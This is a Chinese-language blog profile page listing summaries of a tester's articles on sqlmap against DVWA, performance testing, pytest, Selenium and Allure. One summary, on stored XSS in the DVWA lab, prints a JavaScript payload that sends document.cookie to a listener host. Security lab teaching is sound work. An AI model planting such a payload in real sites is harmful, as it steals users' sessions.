logo
publist
写文章

简介

该用户还未填写简介

擅长的技术栈

可提供的服务

暂无可提供的服务

sqlmap 对 DVWA 进行自动化 SQL 注入测试

SQLMap是一款功能强大的开源SQL注入工具,能够自动检测和利用SQL注入漏洞。它支持多种数据库(MySQL、Oracle等),可自动识别注入点(GET/POST/Cookie等),并能枚举数据库信息、提取数据甚至执行系统命令。常用命令包括基本检测、查看数据库/表/字段、数据导出等,支持代理/WAF绕过。但需注意:未经授权测试违法,可能造成服务崩溃,且遇到强WAF时需配合其他工具。建议仅用于授权

文章图片
#sql#安全性测试
性能测试的三阶段模型:从功能测试到系统压力的全链路性能保障

本文提出"三阶段性能测试模型",将性能测试贯穿开发全周期: 1)功能阶段:通过单接口测试发现SQL、缓存等性能隐患; 2)并发阶段:验证多线程下的数据一致性与锁竞争; 3)系统阶段:进行负载/压力测试评估极限性能。模型强调性能左移,使用Postman、JMeter等工具在每阶段产出对应报告,避免末期集中压测带来的风险。最终实现从单请求到高并发的分层质量保障,使性能优化成为持续过

#功能测试#性能优化
从性能测试工程师视角看接口耗时问题排查

摘要:本文系统介绍了性能测试中接口响应慢问题的排查思路。从JMeter压测入手,分析接口耗时构成(网络、网关、应用、数据库等),逐层排查可能的问题点,包括前端耗时、网关层、应用日志打点、数据库查询优化、缓存命中、远程调用、线程池及JVM性能等。通过商品搜索接口案例,展示了深分页导致的SQL性能问题及优化方案。最后总结了各层级的定位工具和策略,为性能测试工程师提供了一套完整的接口性能问题分析方法论。

#测试工具#性能优化
设计测试用例模板

我会从以下几个维度设计上传文件的测试用例:功能性测试、边界值测试、兼容性测试、异常处理、安全性测试、性能测试

文章图片
#测试用例
conftest.py详解:pytest中测试配置的核心文件(含 Fixture、钩子函数、插件)

功能说明✅ Fixture 定义用于共享测试前置条件(如登录、token、数据库连接等)✅ Hook 实现用于在测试运行前后执行一些操作(如生成自定义报告)✅ 插件注入可以作为本地插件生效,实现功能扩展(如统计执行时间)自动加载:不需要 import,pytest 会自动识别并加载当前路径及其子路径下的 conftest.py作用范围:当前目录及其所有子目录生效无需显式调用:定义的 fixture

文章图片
#pytest#python#自动化
UI自动化测试中获取不到 ::before 伪元素的原因与解决方案

摘要: 在UI自动化测试中,遇到商品价格符号“¥”无法通过Selenium获取的问题。原因是该符号由CSS伪元素::before生成,不属于真实DOM节点。解决方案包括:1)通过JavaScript获取伪元素内容并拼接完整价格;2)建议前端将关键信息直接嵌入HTML。文章对比了不同元素的DOM可访问性,并强调测试中需注意样式与DOM的边界问题,推荐优先在HTML中渲染关键数据以提升测试可靠性。(1

#ui#selenium#python
使用存储型 XSS 窃取 cookie 并发送到你控制的服务器

📌 DVWA存储型XSS窃取Cookie实验步骤 1️⃣ 搭建监听服务 使用Python启动HTTP服务器(端口8081)或Flask应用接收数据 确保防火墙开放端口 2️⃣ 注入恶意脚本 在DVWA的存储型XSS页面提交Payload: new Image().src="http://监听IP:8081/log?c="+document.cookie; 注意替换IP地址(容器环境需用特殊地址)

#xss#安全性测试
Pytest + Allure 实现接口自动化测试(含 YAML 参数化)

本文以视图数据列表查询接口为例,介绍了使用Pytest+Allure+YAML实现接口自动化测试的完整流程。通过封装RecordList类处理接口请求,利用YAML文件管理测试数据,编写参数化测试用例,并生成详细的Allure测试报告。该方法实现了批量参数化执行和结果可视化,为类似列表类接口的自动化测试提供了可复用的解决方案。项目结构清晰,包含配置、测试、封装和报告等模块,具有较好的工程实践价值。

文章图片
#pytest#自动化#python
UI 自动化测试中元素被遮挡无法点击的解决方案(Selenium + Python 实战)

UI自动化测试中元素被遮挡无法点击是常见问题。本文通过电商H5首页「人气推荐」点击失败案例,提出三种解决方案:滚动到可见区域、等待元素可点击、JS点击兜底。推荐在BasePage封装增强版click()方法,集成滚动、等待和JS兜底机制,实现一行代码调用,提高脚本稳定性。该方法已应用于实际测试用例,有效解决元素遮挡问题,减少无效报错。

文章图片
#ui#selenium#python
了解算法测试

算法测试的目的是验证算法的正确性、性能、稳定性等。

文章图片
#算法#测试工具
    共 12 条
  • 1
  • 2
  • 请选择